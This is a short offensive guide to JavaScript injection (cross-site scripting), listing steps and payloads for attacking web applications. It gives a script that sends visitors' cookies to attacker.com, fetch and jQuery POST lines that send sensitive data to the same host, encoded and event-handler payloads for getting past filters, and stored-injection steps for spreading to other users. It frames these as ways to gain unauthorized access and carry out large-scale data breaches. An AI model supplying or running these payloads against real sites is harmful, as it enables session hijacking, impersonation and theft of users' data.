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- JavaScript Injection Techniques
- Introduction:
- JavaScript Injection is a technique used to exploit web applications by injecting malicious scripts into websites or systems. These scripts manipulate or compromise the system by leveraging vulnerabilities in input validation or script execution.
- 1. Basic Injection
- A. Identify user-input fields that directly execute JavaScript without sanitization.
- B. Inject simple scripts like <script>alert('Injected');</script> into text inputs, search bars, or URL parameters.
- C. Observe if the script is executed, indicating the system's vulnerability.
- 2. Bypassing Input Validation
- A. Use encoded payloads like %3Cscript%3Ealert('Injected')%3C%2Fscript%3E.
- B. Experiment with obfuscation methods to bypass security measures.
- C. Test variations, such as breaking into dynamic JavaScript contexts like concatenated strings.
- 3. Cookie Stealing
- A. Inject scripts to capture cookies:
- javascript <script>document.location='http://attacker.com/?cookie='+document.cookie;</script>
- B. Redirect the user’s session data to a server under your control.
- C. Utilize this data for unauthorized access or impersonation.
- 4. DOM-Based Injection
- A. Inspect JavaScript code embedded on the client side for dynamic DOM manipulation.
- B. Inject payloads directly into DOM interactions, e.g., modifying innerHTML or document.write().
- C. Test with custom inputs to observe how the DOM structure changes and executes code.
- 5. Event Handlers Exploitation
- A. Inject payloads within HTML event handlers (e.g., onerror, onclick).
- B. Example: <img src="invalid.jpg" onerror="alert('Injected')">.
- C. Leverage these handlers to bypass filtering mechanisms and trigger malicious actions.
- 6. Stored Injection
- A. Locate features where user input is stored, such as comments or profiles.
- B. Inject persistent scripts like <script>maliciousFunction();</script>.
- C. Wait for other users to interact with the injected code, spreading the exploit.
- 7. Exfiltration Through JavaScript
- A. Inject scripts to send data to a controlled endpoint:
- javascript <script> fetch('http://attacker.com/data', { method: 'POST', body: JSON.stringify({data: sensitiveData}) }); </script>
- B. Collect sensitive information such as form submissions or user actions.
- C. Automate this process for large-scale data breaches.
- 8. Advanced Payloads with Frameworks
- A. Incorporate frameworks like jQuery or React in the payload if the target uses them.
- B. Exploit their APIs for advanced scripting techniques.
- C. Example (jQuery):
- javascript <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script>$.post('http://attacker.com', {data: 'Injected'});</script>
- Essential Components for JavaScript Injection:
- Browser Debugging Tools: Tools like Chrome Developer Tools to inspect vulnerabilities.
- Vulnerable Input Points: Text fields, URL parameters, or stored data features.
- Payload Repository: Pre-prepared scripts for exploitation scenarios.
- https://paste.fo/6c3913ceff4a
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